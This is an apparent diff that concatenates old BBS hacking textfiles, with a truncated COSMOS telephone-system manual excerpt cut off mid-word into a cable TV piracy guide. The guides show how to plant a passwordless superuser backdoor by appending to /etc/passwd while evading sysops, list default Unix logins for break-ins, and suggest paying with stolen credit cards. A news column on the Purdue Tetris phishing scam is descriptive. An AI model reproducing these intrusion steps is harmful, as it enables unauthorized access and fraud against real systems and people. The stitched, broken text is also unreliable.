When a Permanent Assembly is created, the status of non- working facilities
will be changed to reserved and will be assigned an assembly code will be
assigned to the facilities.
Although Permanent Assemblies may be created using a combination of working
facilities and spare facilities, service orders that are issued against such
assemblies are blocked. Therefore, it is recommended that Permanent Assemblies
using a combination of working and spare facilities not be created.
In an operational wire center, if an assembly is to be made permanent in
COSMOS, an assembly catagory (AC) of "PERM" must be specified on the CAY input.
In a data conversion wire center, Permanent Assemblies are assumed, so the input
of "AC PERM" is not required.
System generated codes identify Permanent Assemblies on output by one
alphabetic character. All alphabetic characters are randomly assigned except S,
T, and Z. When associated with a facility, these alphabetic characters
indicate:
S = Suspended Cricuit
T = Reserved for TIRKS (Trunk Inventoried Record Keeping System)
Z = Assembled facilities that have been suspended. More than one group of
assembled facilities may show the same assembly code tag. This does not imply
that all facilities with the same tag are assembled to each other; they must
also be in the same circuit to be assembled to each other. Each code may be
used more than once.
When a Permanent Assembly is deleted, the assembly code tag is removed from
the facilities. Non-working facilities will return to a spare status.
Equivalent working facilities will retain their present status.
Permanent Assemblies can be created from any combination of the following
facilities:
Telephone Number (TN)
Line Equipment (OE)
Cable Pair (CP)
Tie Pair (TP)
Bridge Lifter (BL)
Trunk (TK)
Concentrator (CON)
Message register (MR)
Special Equipment (SE)
Automatically Assigned Relays - Advanced (AR), Sleeve- Connect (SC), Tens
Block Auxiliary (TBA), and Tens Block Screening (TBS) types
Non-Inventoried Relays (RLY)
Terminal (TER)
X-Number (XN)
Private Lines (PL)
Transimission Equpitment (TRE)
At least one inventoried facility, PL or TER must be entered into the assembly
before any SEs, non-inventoried TKs, or CONs.
----------
* When a working relay, (both inventoried and non- inventoried) which os part
of a Permanent Assembly is disconnected, COSMOS does not presently have the
capability of updating the relay files and table to reflect this disconnect.
Coordination between the LAc and the FCC (Frame Control Center) is required to
establish Permanent Assemblies on both spare and working facilities.
The following examples illustrate various functions of transactions CAY
(Create an Assembly) and ISH (Circuit Inquiry).
Example 1: Create a Permanent Assembly associating a spare CP and SE with
voice repeater information.
EL% CAY
I CP 2-1010/TP TM03-606/SE VR-330(F04001)/AC PERM
_.
**CAY COMPLETED
Example 2: An inquiry (ISH) on the above assembly.
The inquiry shows that the alphabetic (permanent) assembly code is assigned to
each facility that is part of the assembly. Also note that the tie pair and
points have been populated.
EL% ISH
H CP 2-1010
_.
CP 2-1010
ST RS AY M DATE 01-18-83
LOC WF02005
TP TM03-0606
ST RS AY M DATE 01-18-83
LOC F02005
LOC F04001
FROM FAC CP 2-1010 TO FAC SE VR-330
SE VR-330
ST RS AY M
LOC F04001
**ISH COMPLETED
Example 3: An ISH on a working circuit without an assembly.
EL% ISH
H CP 2-1010
_.
SE VR-330
ST WK
LOC F04001
TP TM03-0606
ST WK DATE 01-18-83
LOC F02005
LOC F04001
FROM FAC CP 2-1010 TO FAC SE VR-330
CP 2-1010
ST WK DATE 01-18-83 RZ 13
LOC WF02005
OE 000-026-015
ST WK DATE -1-18-83 CS IFR US 1FR FEA TNNL
LOC WF02007
TO TM01-0741
ST WK DATE 01-18-83
LOC F02007
LOC F04001
FROM FAC OE 000-026-015 TO FAC SE VR-330
TN 833-7328
ST WK DATE 01-18-83 TYPE X
**ISH COMPLETED
Example 4: Create a Permanent Assembly associating a working CP, TP and SE
from the circuit in Example 3.
EL% CAY
I CP 2-1010/TP TM03-606/SE VR-330/AC PERM
_.
**CAY COMPLETED
Example 5: An ISH of the circuit.
The inquiry identifies the Permanent Assembly linking the CP, TP and SE. This
information will remain linked even after the circuit is disconnected.
EL%
H CP 2-1010
_.
SE VR-330
ST WK AY G
LOC F04001
TP TM03-0606
ST WK AY G DATE 01-18-83
LOC F02005
LOC F04001
FROM FAC CP 2-1010 TO FAC SE VR-330
CP 2-1010
ST WK AY G DATE 01-18-83 RZ 13
LOC WF02005
OE 000-026-015
ST WK DATE 01-18-83 CS 1FR US 1FR FEA TNNL
LOC WF02007
TP TM01-0741
ST WK DATE 01-18-83
LOC F02007
LOC F04001
FROM FAC OE 000-026-015 TO FAC SE VR-330
TN 833-7428
ST WK DATE 01-18-83 TYPE X
**ISH COMPLETED
5.2 Modify a Permanent Assembly
Transaction MAY is used to modify a Permanent Assembly (in instances when a
service order is being changed, etc. ). The assembly to be modified must be
identified by an inventoried facility (other than AR, SC, TBA), a PL or a TER on
the H- line. Facilities to be added are entered on I-Lines. Facilities to be
deleted are entered on 0-Lines. The input of assembly category (AC) PERM is not
requied on the H-line input for MAY. The Permanent Assembly tag will be removed
from the outgoing facility and transferred to the incoming facility at the
completion of the MAY transaction.
When MAY is completed, the outgoing facility (s) that had a reserved status
will be changed to "spare" status. If the outgoing facility is presently
working, the status will remain the same.
Incoming facilities that are spare will be changed to a "reserved" status.
Incoming facilities that are working will retain that status.
The following examples illustrate various functions of transactions MAY
(Modify an Assembly) and ISH.
Example 6: An inquiry (ISH) of a Permanent Assembly.
TA% ISH
H CP 2-1365
_.
CP 2-1365
ST RS AY G DATE 01-20-83
LOC F02006
TP TM01-1151
ST RS AY G DATE 01-20-83
LOC F02005
LOC F04001
TRE DLXREG0401 RR104,06-037
ST RS AY G DATE 01-20-83
LOC F04001
**ISH COMPLETED
Example 7: Modify a Permanent Assembly changing the transmission equipment.
TA% MAY
H CP 2-1365
_O TRE RR104.06-037
_I TRE RR104.06-038
_.
OUT: TRE DLXREG0401 RR104.06-037
IN: TRE RR104.06-038
**MAY COMPLETED
Example 8: An inquiry (ISH) on the modified assembly.
The inquiry shows that TRE RR104.06-038 has become part of the assAS TRANSMITTED IN THE MIDBAND
OR SUPERBAND MODE, HE WAS UP SHIT CREEK, BECAUSE HE HAD NO WAY TO GET THE SIGNAL
DOWN TO A FREQUENCY HIS TV OR VCR COULD RECIEVE. BUT IF HE HOOKED UP HIS LITTLE
RADIO SHACK CONVERTER, PRESTO! HE WAS SET.
2. NOW IS A GOOD TIME TO MAKE CLEAR AN IMPORTANT POINT. CABLE CONVERTERS DO
!NOT! UNSCRAMBLE A SCRAMBLED SIGNAL, THEY MERELY MOVE IT TO A FREQUENCY THE
TV/UNSCRAMBLER/VCR/WHATEVER CAN GET A HOLD OF IT. THERE IS LOTS OF SPACE BET-
WEEN CHANNELS 13 AND 14-IT IS THE DIV- IDING LINE BETWEEN VHF AND UHF. THERE
ARE PLACES IN THERE YOUR TV JUST CAN'T GET TO.
3. HERE COMES ANOTHER POINT: THOSE OF YOU WITH 'CABLE READY' TVS THINK
YOU'RE HOME FREE NOW, EH? NO. WHILE A CABLE READY TV WILL LET YOU VIEW ANY MID
AND SUPERBAND CHANNELS THAT YOU MAY UNKNOWINGLY RECIEVE, THE SCRAMBLED ONES ARE
STILL SCRAMBLED. SO WHAT DO YOU NEED NOW? AN UNSCRAMBLER, OF COURSE.
***************************************
4. IT MAY BE NECESSARY TO EXPLAIN WHAT IS ACTUALLY HAPPENING IN YOUR BOXES
THAT YOU RENT FROM THE CABLE CO. THUS: ----- IF YOU HAVE BOTHERED TO PAY EXTRA
FOR ANY SCRAMBLED CHANNELS, YOU ARE GIVEN AN UNSCRAMBLER AND CONVERTER BY THE
CABLE CO. FOR WHICH YOU GLADLY PAY RENT IN ADDITION TO YOUR CABLE FEE. THIS IS
USUALLY A BROWN BOX THAT COMES IN SEVERAL STYLES, EXPOUNDED UPON BELOW:
DIGITAL WITH REMOTE: A SMALL BOX UPON YOUR TV, WITH A DIGITAL DISPLAY OF THE
CHANNEL YOU ARE WATCHING. YOU HAVE A TRUSTY REMOTE, AND ZAP AWAY AT WILL.
KNOB STYLE: A BOX OR NON-WIRELESS REM- OTE WITH A LARGE KNOB ON IT. IT, OF
COURSE, SELECTS WHAT CHANNEL YOU ARE WATCHING.
SWITCHBOARD STYLE: A 9" X 5" (OR SO) BOARD WITH SEVERAL 3 POSITION VERTIC-
ALLY MOVING SWITCHES. WHAT THE HELL DO THESE DO? YOU'LL NEVER GUESS.
THE KIND WITHOUT ANY SWITCHES: (NOW HOW WILL I OPERATE MY DIGITAL WATCH?)
THIS IS CALLED A BLOCK CONVERTER. MORE ON THESE LATER.
***************************************
WHAT IS GOING ON: AHHH, THE GOOD PART. WHAT HAPPENS HERE IS THIS: NOW
MATTER WHAT SYSTEM YOU HAVE (EXCEPT FOR THE LAST- IGNORE THAT FOR NOW.) IN SOME
WAY YOU SELECT A CHANNEL. THE CABLE CONVERTER RUNS OFF, FINDS THIS CHAN- NEL,
AND YANKS IT DOWN TO CHANNEL 3 (OR 2, OR 4, WHATEVER YOUR CABLE CO. USES.)
WHERE YOUR TV IS WAITING FOR IT. (YES, THATS WHY YOU PUT YOUR TV ON THE SAME
CHANNEL AND CHANGE CHANNELS WITH THE KNOB, REMOTE, OR WHATEVER.) NOW, IF IT'S A
SCRAMBLED CHANNEL, AND YO ARE AUTHORIZED TO RECIEVE IT, THE SIGNAL IS REROUTED
THROUGH A SMALL UN- SCRAMBLER. (A NOTE: CABLE SCRAMBLING METHODS ARE PIDDLY
LITTLE HINDRANCES; FOR A REAL BITCH OF A SCRAMBLER SEE THE SSAVI SYSTEM,
EXPLAINED IN PART 2.) THE SIGNAL IS AGAIN SPAT OUT AT CHANNEL 3, AND YOUR TV
GLOWS HAPPILY AWAY, DIS- PLAYING YOUR MID OR SUPERBAND CHANNEL.
5. AT THIS POINT, A QUESTION MAY BY NUDGING AROUND YOUR TEMPORAL LOBES NOW.
SOMETHING ALONG THE LINES OF " HOW DO I GET CABLE TV WITHOUT PAYING FOR IT,
DAMMIT??" WELL, HERE WE GO. YOU LOOK UP THAT PLACE I MENTIONED IN PART II.
(ADDRESS & PHONE# AT END) JUST FORK OVER YOUR $30 (OR SOMEONE ELSE'S CREDIT
CARD) AND GET ONE OF THESE NIFTY LITTLE UNSCRAMBLERS. NOW, MIND YOU, THE CABLE
CO. WANTS IT'S (YOUR?) MONEY MORE THAN YOU THINK, AND WILL BE RATHER UPSET IF
THEY FIND YOU DOING ANY OF THIS SHIT, SO TAKE CARE. HERE'S HOW TO HOOK UP YOUR
UN- SCRAMBLER:
FIRST, ADJUST THE U

218
textfiles.com/hacking/UNIX/unixacct.txt Normal file
View File

@@ -0,0 +1,218 @@
________________________
// Creating Unix Accounts \
\\ by the Kryptic Night /
// and the \
\\ Servants of the /
// Mushroom Cloud \
\\________________________/
\<5C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
So, you've hacked the *ROOT* account on some unix system?
You have the full power of the unix system at your hands, and you
want to keep it that way for a long time? Using the root account
is not the way to do this! This short little file will describe
a way that will allow you to keep your access for as long as possible.
<Note: This method works best on systems with a lot of users... A
college computer is an excellent example. >
---------------------------------------------------------------------------
- - - Creating Unix Accounts - - -
First, you need to logon to the Unix system as the root account.
You should be confronted with a '#' or a '&', depending on which
software the system is run on, and which shell it is under. Don't worry
if it isn't one of these, many sysops like to create their own prompts.
I've seen some as stupid as 'Hi! Steve! >' to 'Don't forget to backup! >'.
Set up your settings and check your security, you don't want to be
interrupted by some moronic buffoon who is logged on at the same time as
you...especially if it's the root's other account. To see if someone else
is online, type 'who'. You will be assaulted by a list of users who are
currently on the system at the same time as you. You should do a 'finger'
to everyone of the users on their, looking for anything suspicious.
If it tells you that he is the root, or sysop, you will want to call back
later. Also, if it is convenient, change your settings to allow for
backspaces, aliasing, etc.
Next, you should create your home directory. A home directory is the
location of all your login scripts, your files, and the directory that is
loaded upon login. This should be located in the same directory as all the
legitimate users. If you see a directory with a multitude of names in it,
odds are it's the user directory. Most often, it is the /usr or /user
directory. From that directory type. . .
#mkdir XXXXX ; Don't type the '#', the XXXX is the name
; of the user's home directory. This can
; be anything you like, however, try for
; something unsuspicious...a directory like
; /usr/flaming_fag will catch attention
Ok, we got that over with painlessly. Your next step is to go to the
/etc directory.... A simple 'cd /etc' will do. If you do a ls -l, you will
see a file called 'passwd' this is the password file, it is the only one on
the system that is used. If you 'cat passwd' the file, you will see all
the users able to log on. Here is an example of what a user may look like...
Bendover:iaKJhHkjahfuH:0:0:Asshole:/user/bend:/bin/csh
\______/ \___________/\/\/\_______/\________/ \______/
1 2 3 4 5 6 7
1 - This is the name of the account used to logon.
2 - This is the encrypted password. If you see something like....
Bendover::0:0: <and so forth> it means that this is an account
that doesn't require a password to logon. Most systems have one
or two of these for things like netting, maintenance, and guest
accounts.
3 - This is the users level. A level of 0 is a superuser.
4 - This is the number of the group the user is in.
5 - This is a short description of the account. This is usually a full
name or a position.
6 - This tells where the home directory is located.
7 - This is the default shell to use upon logon.
csh - C Shell; sh - Bourne Shell; ksh - Korn Shell
rsh - Restricted Bourne Shell
To add a user to the password file, providing you have write access,
you can do several things. The one I will explore is called redirection.
With this method, you can add a new line to the file from the prompt.
To do this you will need to type . . .
#echo XXXXXX::0:0:XXXXX:/XXXX/XXXX:/bin/XXX >>passwd
You will need to fill in the X's with appropriate information, an example
I've used in the past is....
#echo mikeb::0:0:michael boyd:/usr1/mikeb:/bin/csh >>passwd
You may choose to use a different group number, it may catch the sysops
attention more if he sees two 0's, versus just one. I've never done this,
but it really shouldn't make a tremendous difference.
By now you should, if all went well, you should have another user!
Just to verify your work, 'cat' the password file and look for your
name at the bottom of the list. If it isn't their, try again. Make
SURE you use TWO '>'s, or else you will destroy the passwd file...This
is NOT good.
If everything worked out, logout. Try not to hang up, as this sometimes
hangs the terminal you were logged on as. This may be a bit dangerous if
the terminal connects to the next person who calls, dropping them into the
root accounts shell. Call back in about a minute or so, and logon as the
user you just created. It shouldn't ask for a 'password:' as you specified
none. If
it does, then you probably typed in the name in different caps
than you typed it into the password file. Remember, caps DO matter.
Assuming that you were able to log on, you will now be using your NEW
account. That's about all that is really necessary. You will want to create
your .login, and your .cshrc files eventually. But for now, you can just copy
them from another user. Use a 'ls -al' in another users home directory to see
if he has a copy of these files. If he does, copy them by
'cp .login <or .cshrc> /XXX/XXXX/.login <or .cshrc>'
The X's specify your home directory.
- - - Conclusion - - -
This file is obviously slated for the person who is just beginning to learn
Unix, although it is unlikely that a person who can attain a root account is
ignorant of unix, it is easier for EVERYONE to understand like it is. If this
file insults your intelligence, that's your problem. I've seen several people
who have root accounts, know unix fairly well, and still cannot create users.
I've tried to include as much information as I can, but I may have overlooked
something that I think is simple, but may confound you. If I do, tell me, and
I'll try to keep away from it in future releases. I'll also consider updating
this file and re-releasing it.
-----------------------------------------------------------------------------
- - - Bibliography and Suggested Reading - - -
Unix Use and Security From the Ground Up: by the Prophet in 1986
This is probably the BEST file I've ever seen on the subject
of Unix. It is written for the beginner, and contains valuable
information for the advanced user. The Prophet became a member
of Lod/H and is currently serving a sentence of 20 months in
relation to the big Lod/H bust of '90.
Articles on unix trojans and mischief: by Shooting Shark
Shooting Shark presents some interesting information
on various ways to commit havoc on Unix systems. You
can find most of his essays in both Phrack and Lod
magazines.
Lod/H Tech Journals
The Legion of Doom/Hackers are perhaps the most skilled
and knowledgable hackers in the underground society.
Their 'Tech Journals' describe almost anything you'd ever
want to know about illegal activities.
Phrack Magazines
Phrack is also one of the best sources for information on
a multitude of subjects, ranging from social engineering,
to carding, to making explosives. For those with free time,
download all of the 32 articles released to date.
----------------------------------------------------------------------------
Thanx go out to Emerikol the Chaotic <Scooter> for the idea of making this
file, SiD for their quality releases, every SMC member, and all else who
contribute to the free exchange of information in fascist Amerikkka.
|
| \
| /\/\ / <20>\ <20><><EFBFBD>
| / \ / <20> \ A <20> A
| / |/| / / \ <20> / <20> /
|/ | < \ <20>/ <20>/ U L T
|\ RYPTIC / | \ \ / <20>\
| \ / | \ <20> \
|\ | | \
| \ |
| \|IGHT
/ `
- Kryptic Night, Data Kult, Lord Logics, Shadow Walker, The Scorpian -
Nacht Habicht
X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X
Another file downloaded from: NIRVANAnet(tm)
& the Temple of the Screaming Electron Jeff Hunter 510-935-5845
Salted Slug Systems Strange 408-454-9368
Burn This Flag Zardoz 408-363-9766
realitycheck Poindexter Fortran 415-567-7043
Lies Unlimited Mick Freen 415-583-4102
Tomorrow's 0rder of Magnitude Finger_Man 408-961-9315
My Dog Bit Jesus Suzanne D'Fault 510-658-8078
Specializing in conversations, obscure information, high explosives,
arcane knowledge, political extremism, diversive sexuality,
insane speculation, and wild rumours. ALL-TEXT BBS SYSTEMS.
Full access for first-time callers. We don't want to know who you are,
where you live, or what your phone number is. We are not Big Brother.
"Raw Data for Raw Nerves"
X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X

191
textfiles.com/hacking/UNIX/unixart.hac Normal file
View File

@@ -0,0 +1,191 @@
Item forwarded by D.WHITESIDE2 to M.LASKY2
Item 0622126 91/05/25 12:26
From: MITCH.WAGNER Mitch Wagner
To: D.WHITESIDE2 Donald A. Whiteside
Sub: New Uploads
BY MITCH WAGNER
It's hardly the Cuckoo's Egg or the Internet Worm,
but it's still an intriguing little unsolved mystery.
Maybe you can figure out whodunit, and why. I can't.
Here are the clues:
On the night of Sunday, April 14, physics students at
Purdue University engaged in that time-honored collegiate
tradition known as ``pulling an all-nighter'' were in for
a rude surprise.
It came in the form of a piece of E-mail, purporting to
come from their systems administrator, stating that
``because of security faults,'' users were required to
change their passwords to ``systest001.''
The E-mail gave helpful instructions on how users could
change their passwords, and concluded, politely but firmly:
``This change should be done IMMEDIATELY. We will infrm you
when to change your password back to normal, which should
not be longer than ten minutes.''
The official-sounding memo was a scam, said Kevin
Miller, Unix system manager for the Purdue University
Physics Department. Two of his users fell for it, he said.
Once they did, some unidentified cracker logged in using
the systest001 password, and began to search the system for
security holes. The cracker also set into motion a program
that would have started another, even more ambitious
break-in of the Purdue network, had it not been spotted by a
suspicious user.
That script flashed a message on the screen of every
logged-in user, asking to please play-test a version of
Tetris_a popular video game_on the local system.
But the so-called Tetris game ws actually a script that
prompted users for their log-in passwords, and_if the log-in
password was given_mailed that password to an off-campus
mail drop.
The systest001 and Tetris scams at Purdue University are
examples of several similar break-ins that ave been
happening nationwide.
Gene Spafford, an assistant professor of computer
science at Purdue who specializes in security and computer
ethics, called the cracking attempts ``the most amusing
attempts at a break-in recent memory.''
Tetris' initia point of origin, he noted, could not be
better calculated to create panic in the military mindset.
``Tetris was developed in the Soviet Union; it's one of
the products of the Soviet software industry,'' he said.
He said, however, that he believes the ironies are
coincidental, because he believes the hackers are too
unsophisticated to have thought of the ironies themselves.
Elsewhere in the country, the systest001 memo and Tetris
scam were apparently found independently. Purdue was the
only site we could locate where the two scams were linked
and running on the same machine.
The Computer Emergency Response Team at Carnegie-Mellon
University has put out an advisory on both scams, urging
users to alert their systems administrators if anyone asks
for their password, or asks them to change their password.
The cracker doing this bit of social engineering is
taking advantage of the fact that it's really easy to create
UUCP mail that appears to come from just about anywhere_a
trick that's called ``spoofng'' by the cognoscenti. Indeed,
it's a traditional April Fool's Day prank to flood USENET
with all sorts of messages that appear to come from
well-known net personalities_including a warning against
April Fool's Day spoofs signed by Spafford that Spafford
himself never wrote.
CERT technical coordinator Ed DeHart said that he
believes that the systest001 and Tetris scams were fairly
small.
``I don't think it's widespread. It's a gut-level
feeling, talking to people and based on the number of
reports we've had so far,'' he said.
DeHart said he has no idea who the author of the scam
is.
Neither do I_but I have one more clue.
I sent some mail to the mail drop used in the Tetris
scam, stating in veiled terms my desire to do an article
``about Turboetris'' and asking for information about ``why
you did what you did.'' The next morning, I got a response
that expressed interest in the offer. Whoever it was that
sent the mail refused to give out a real name, only an alias
he or she uses on bulletin-board systems.
The correspondent promised to get back to me by phone if
I agreed to his or her terms, and left a time to call. I did
so.
And heard nothing until last week. At that time, I
talked to people purporting to be the Tetris hackers_there
were two of them_at some length, but our conversation
covered so much ground that it would be better to save it
for next issue's column.
So we'll do so.
(Mitch Wagner is a senior editor at UNIX Today!)
BY MITCH WAGNER
``Beta Raider'' says he and a friend started to break
into computer systems about a year and a half ago, when they
were about 14.
That was when his Dad got him a PC, an IBM AT clone with
a 286 processor.
``I just started using it for hmework and all that
jazz,'' said the 16-year-old Beta Raider. ``Then my dad got
a modem, and then I called local public-domain BBSes, and
then I got into pirate boards, where I started talking about
things like hacking and the concept of hacking security.''
Last month, a scam which Beta Raider authored was the
subject of an advisory from the Computer Emergency Response
Team (CERT) at Carnegie-Mellon University. He sent mail to
users urging them to try out a new version of the popular
computer game Tetris. The game was nonexistent, and the mail
was part of a confidence job that resulted in users having
their login IDs and passwords mailed to a mail drop on a
different system, for pickup by Beta Raider and his friend.
I got in touch with Beta Raider by thesimple expedient
of sending mail to that mail drop. We chatted two or three
times on the phone. I don't know his real name, and the only
really significant personal details I know about him are his
age, the fact hat he lives in a suburb near Washington,
D.C., and that he attends a public high school.
(Actually, that's not entirely true. I do know one more
significant thing about him: that he's not paranoid enough.
He let drop a couple of other things that could be used to
track him down really easily, thigs which I'm withholding in
the interest of protecting sources.)
Beta Raider, like most of his brethren in the computer
underground, says that when he breaks into a system, he's
not in it for personal gain. Breaking in is an end in
itself, a means of lerning about computers, and a means of
gaining entree into other systems.
``It's a puzzle. I like to crack security,'' he said.
He likes to work from accounts that have no files in
them except for system login files. That's an indication
that he won't be disturbed at his work; that the legitimate
owner of that account has been away for a while.
From that base, he looks around the system.
``Usually I'm looking either for technical notes,
source code, or more access,'' he said. Occasionally, if he
finds an interesting piece of unpublished software
documentation or tips, he'll post it to the bulletin
boards_but nothing, he said, that the company woudln't want
out anyway.
He's also looking for .netrc files, which tell him how
to log onto other systems remotely. ``If the system that
I'm currently on is large enough, usually one person would
have access to any other system,'' he said.
Beta Raider is aware that there's currently stiff
penalties against computer crimes, but he says he doesn't
worry, becase he's careful and because what he does is not
that serious.
``I've talk to most of the major hacks across the
country, but what they've done, you can really take notice
of it,'' he said.
Beta Raider says he doesn't know what he wants to do
when he rows up.
``My Mom wants me to become a lawyer, my Dad wants me to
do bioengeineering or something or other,'' he said. ``I
want to do something with computers.
For what it's worth, I left the interviews finding it
difficult to imagine Beta Raider as he villains some
computer security advocates would have us believe populate
the computer underground. I also couldn't picture him as a
heroic desperado of the electronic frontier, which is the
picture that hip publications like MONDO 2000, Rolling
Stone or The Village Voice like to paint.
He just seemes to be a bright, friendly kid_a good kid
fundamentally. And he's out there doing what a lot of
bright, friendly good kids have always done: getting into
mischief.
(Mitch Wagner is a senior editor at UNIX Today!)
----------
Downloaded From P-80 International Information Systems 304-744-2253

31
textfiles.com/hacking/UNIX/unixcall.txt Normal file
View File

@@ -0,0 +1,31 @@
i dont know how stupid i'm gonna sound...or what but mabee some of you dont
know how to do this yet....on a unix to use it as an outdial...use the 'cu'
command...yeah..i dont know if it is different on some systems..but on the one
i have i t says 'no system known at 1-212-123-4567' so what i had to do was
edit the following file.. usr/lib/uucp/L.sys and add lines for each system i
want to call...
the format is as folows
systemname time dev baud number logon
example:
dtc Any,1 ACU 1200 18172652538 Unused
just add a line like that and then you can type...'cu dtc' and it will dial for
ya....i've found that this format will work if you just change the system name
and the telephone number you can basically type the same thing for each
system...if your unix has a 2400 bops ACU device then by all means go 2400....
to see devices 'cat' file /usr/lib/uucp/L-dev (i think..it varies in name from
system to system)
hope this helps some...
- SIlencer
.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ݰ THE HOLLOW'S ALLIANCE <20><>
ݰ  Tfile Distribution Center / MASS Megs  <20><>
ݰ 415/236/2371 RoR - Alucard 415/236/2371 <20><>
ݰ Dr. Murdock ~ Sir Death ~ Dark Nite ~ RatSnatcher ~ Pressed Rat<61><74>
ݰShawn-Da-Lay Boy Production Inc. The Electric Pub : 415/236/4380<38><30>
ݰ<><DDB0><EFBFBD><EFBFBD> The Gates of Hell are open Night and Day; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ݱ<><DDB1> <20> Smooth is the Descent and Easy is the Way <20> <20><><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>


BIN
textfiles.com/hacking/UNIX/unixdos.fil Normal file
View File

Binary file not shown.

2819
textfiles.com/hacking/UNIX/unixgrou.txt Normal file
View File

File diff suppressed because it is too large Load Diff

186
textfiles.com/hacking/UNIX/unixhak1.hac Normal file
View File

@@ -0,0 +1,186 @@
*> Title: Tutorial on hacking through a UNIX system
**
In the following file, all references
made to the name Unix, may also be
substituted to the Xenix operating
system.
Brief history: Back in the early
sixties, during the development of
third generation computers at MIT,
a group of programmers studying the
potential of computers, discovered
their ability of performing two or
more tasks simultaneously. Bell
Labs, taking notice of this discovery,
provided funds for their developmental
scientists to investigate into this
new frontier. After about 2 years of
developmental research, they produced
an operating system they called "Unix".
Sixties to Current: During this time
Bell Systems installed the Unix system
to provide their computer operators
with the ability to multitask so that
they could become more productive,
and efficient. One of the systems they
put on the Unix system was called
"Elmos". Through Elmos many tasks (i.e.
billing,and installation records) could
be done by many people using the same
mainframe.
Note: Cosmos is accessed through the
Elmos system.
Current: Today, with the development
of micro computers, such multitasking
can be achieved by a scaled down
version of Unix (but just as
powerful). Microsoft,seeing this
development, opted to develop their own
Unix like system for the IBM line of
PC/XT's. Their result they called
Xenix (pronounced zee-nicks). Both
Unix and Xenix can be easily installed
on IBM PC's and offer the same function
(just 2 different vendors).
Note: Due to the many different
versions of Unix (Berkley Unix,
Bell System III, and System V
the most popular) many commands
following may/may not work. I have
written them in System V routines.
Unix/Xenix operating systems will
be considered identical systems below.
How to tell if/if not you are on a
Unix system: Unix systems are quite
common systems across the country.
Their security appears as such:
Login; (or login;)
password:
When hacking on a Unix system it is
best to use lowercase because the Unix
system commands are all done in lower-
case.
Login; is a 1-8 character field. It is
usually the name (i.e. joe or fred)
of the user, or initials (i.e. j.jones
or f.wilson). Hints for login names
can be found trashing the location of
the dial-up (use your CN/A to find
where the computer is).
Password: is a 1-8 character password
assigned by the sysop or chosen by the
user.
Common default logins
--------------------------
login; Password:
root root,system,etc..
sys sys,system
daemon daemon
uucp uucp
tty tty
test test
unix unix
bin bin
adm adm
who who
learn learn
uuhost uuhost
nuucp nuucp
If you guess a login name and you are
not asked for a password, and have
accessed to the system, then you have
what is known as a non-gifted account.
If you guess a correct login and pass-
word, then you have a user account.
And, if you get the root p/w you have
a "super-user" account.
All Unix systems have the following
installed to their system:
root, sys, bin, daemon, uucp, adm
Once you are in the system, you will
get a prompt. Common prompts are:
$
%
#
But can be just about anything the
sysop or user wants it to be.
Things to do when you are in: Some
of the commands that you may want to
try follow below:
who is on (shows who is currently
logged on the system.)
write name (name is the person you
wish to chat with)
To exit chat mode try ctrl-D.
EOT=End of Transfer.
ls -a (list all files in current
directory.)
du -a (checks amount of memory
your files use;disk usage)
cd\name (name is the name of the
sub-directory you choose)
cd\ (brings your home directory
to current use)
cat name (name is a filename either
a program or documentation
your username has written)
Most Unix programs are written
in the C language or Pascal
since Unix is a programmers'
environment.
One of the first things done on the
system is print up or capture (in a
buffer) the file containing all user
names and accounts. This can be done
by doing the following command:
cat /etc/passwd
If you are successful you will see a list
of all accounts on the system. It
should look like this:
root:hvnsdcf:0:0:root dir:/:
joe:majdnfd:1:1:Joe Cool:/bin:/bin/joe
hal::1:2:Hal Smith:/bin:/bin/hal
Te "root" line tells the following
info :
login name=root
hvnsdcf = encrypted password
0 = user group number
0 = user number
root dir = name of user
/ = root directory
In the Joe login, the last part
"/bin/joe " tells us which directory
is his home directory (joe) is.
In the "hal" example the login name is
followed by 2 colons, that means that
there is no password needed to get in
using his name.
Conclusion: I hope that this file
will help other novice Unix hackers
obtain access to the Unix/Xenix
systems that they may find.
Downloaded From P-80 Systems 304-744-2253

382
textfiles.com/hacking/UNIX/unixhak2.hac Normal file
View File

@@ -0,0 +1,382 @@
On the Security of UNIX
=-=-=-=-=-=-=-=-=-=-=-=
Recently there has been much interest in the security aspects of operating
